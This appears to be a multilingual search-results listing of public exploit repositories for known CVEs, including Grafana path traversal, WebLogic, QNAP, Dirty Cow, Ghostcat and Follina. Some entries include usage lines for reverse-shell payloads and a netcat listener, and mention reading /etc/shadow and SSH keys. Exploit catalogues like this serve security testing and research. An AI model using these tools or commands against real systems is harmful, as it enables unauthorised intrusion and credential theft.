384 matches found
CVE-2021-43798-Exploit-for-Windows-and-Linux
CVE-2021-43798-Exploit-for-Windows-and-Linux 针对 CVE-2021-43798 的修改版利用程序。 原始利用代码：https://www.exploit-db.com/exploits/50581 修改内容： 此修改版本兼容 Windows 和 Linux 底层服务器。 当用户输入绝对路径时（例如：C:\Windows\System32\drivers\etc\hosts），程序会将其转换为相对路径（Windows\System32\drivers\etc\hosts）。...
Apache_Penetration_Tool
ApachePenetrationTool 使用QT C++开发的一款漏洞利用工具。 中文说明 English description 工具界面 在漏洞选择编号处，选择需要检测的漏洞。 漏洞检测 在第一个文本栏中填写目标url或者ip，带上http或者https，结果会在最后一个大的文本框中显示出来。 目录遍历 在第二个文本栏中填写需要被读取的文件绝对路径，结果会在最后一个大的文本框中显示出来。 命令执行...
CVE-2020-17519-Exp
CVE-2020-17519-Exp CVE-2020-17519 EXP...
CVE-2024-32002
CVE-2024-32002 一个用于 gitlab-shell 漏洞 CVE-2024-32002 的反向shell生成器 这仍处于测试阶段，完成后我会更新它...
CVE-2018-2893
CVE-2018-2893 可以直接反弹shell Usage 监听 root@kitploit: nc -lvvp reverseport 发送payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Reffer bigsizeme pyn3rd 说明 仅用于测试和交流学习，勿作他用...
CVE-2018-10933
该工具用于扫描和利用运行存在漏洞的 libssh 版本的服务器。 漏洞详情：https://www.libssh.org/security/advisories/CVE-2018-10933.txt 修复：https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/ 此工具仅可用于您已获授权测试的服务器，以及教育用途。...
CVE-2019-7192_QNAP_Exploit
Exploit de RCE root pre-auth en QNAP CVE-2019-7192 CVE-2019-7195 por ahora, puedes leer archivos del sistema /etc/shadow, clave privada ssh, etc. Uso: root@kitploit: pip install -r requirements.txt or just pip install requests python3 gundy.py https://vulnerableurl:port Salida de ejemplo...
optionsbleed
optionsbleed CVE-2017-9798...
Dirty-Cow-CVE-2016-5195-
Dirty-Cow-CVE-2016-5195- Esto es un exploit de la vulnerabilidad de escalada de privilegios Dirty Cow CVE-2016-5195...
Fu3l-F1lt3r
root@kitploit: |\ \ |\ |\ |\ \ |\ / |\ \ |\ \ |\ \ \ \ /\ \ \\ ||\ /\ \ \ \ \ /|/|\ \ \ \| \ \||\ /\ \ |\ \ \ \ \ \ \\ \ |\ \ \ \ \ \ |/ \ \ \ \ \ \ \ \ |\ \ \ \ \ \ | \ \ \\ \ \ \ \ \ \ \ | \ \ \ \ \ \ \ \ \ \ \ | \ \ \ \|\ \ \ \ \ \ \ \ |\ \\ \ || ||||||...
CVE-2020-1938-Clean-Version
CVE-2020-1938-Clean-Version CVE-2020-1938GhostCat versión de código limpia y legible Yo...
Geoserver-CVE-2023-25157
Geoserver SQL注入漏洞利用 今年，一个针对Geoserver的CVE被发布，编号为CVE-2023-25157。 我在一个项目中发现了这个漏洞并尝试利用它。 现在，这是完整的利用代码。 在这个仓库（https://github.com/0x2458bughunt/CVE-2023-25157）中，你可以使用检测器来找出哪些目标存在相关技术和漏洞。 使用检测器后，你可以用我的代码进行漏洞利用。 如何运行： 首先，你需要用以下命令安装“requests”： pip install requests 然后，创建一个输入文本文件，并将目标放入其中（格式如 www.example.co...
dpipe
dpipe Exploit de prueba de concepto para la vulnerabilidad Dirty Pipe CVE-2022-0847...
Follina-CVE-2022-30190-Sample
Follina-CVE-2022-30190-Sample-by-ethical-blue 教育性 Follina 工具 版本历史 v1.1 — JavaScript 载荷混淆 v1.0 — 初始发布 特性 .RTF 载荷生成器 用于载荷的简易 HTTP 服务器 缓解措施提示 配置提取器 易于学习使用 漏洞利用执行成功...
CVE-2018-8639-EXP
CVE-2018-8639-EXP CVE-2018-8639 EXP Usage: CVE-2018-8639-EXP.exe command etc 1. Most open-source samples may no longer be capable of bypassing antivirus; modifications are required. 2. I believe that open-sourcing the core code can help those who want to learn. 3. I have learned a lot from the...
Apache-Struts-0Day-Exploit
Apache-Struts-0Day-Exploit Vulnerabilidad crítica de ejecución remota de código CVE-2018-11776 encontrada en Apache Struts. Instalación git clone https://github.com/LightC0der/Apache-Struts-0Day-Exploit/ Uso: python ApacheStruts.py URL : www.example.com/ Shell : "Comandos" p.ej. ls, dir, whoami...
AVideo3xploit
AVideo3xploit.go 针对AVideo的RCE漏洞利用工具 root@kitploit: root@kali: go get github.com/fatih/color root@kali: git clone https://github.com/ahussam/AVideo3xploit.git root@kali: cd AVideo3xploit root@kali:/AVideo3xploit go run AVideo3xploit.go http://target/avideo/ username password 你应该会在你的nc上得到一个连接 分析文章...
Ghostcat
Ghostcat CVE-2020-1938 漏洞利用...
CVE-2019-9053
CVE-2019-9053 Exploit de CVE-2019-9053 para Python 3 Última prueba: 28-12-2021 Probado en: Python 3.10.1 Fuente original del exploit: https://www.exploit-db.com/exploits/46635 Los usuarios asumen toda la responsabilidad por cualquier acción realizada con esta herramienta. Si estos términos no son...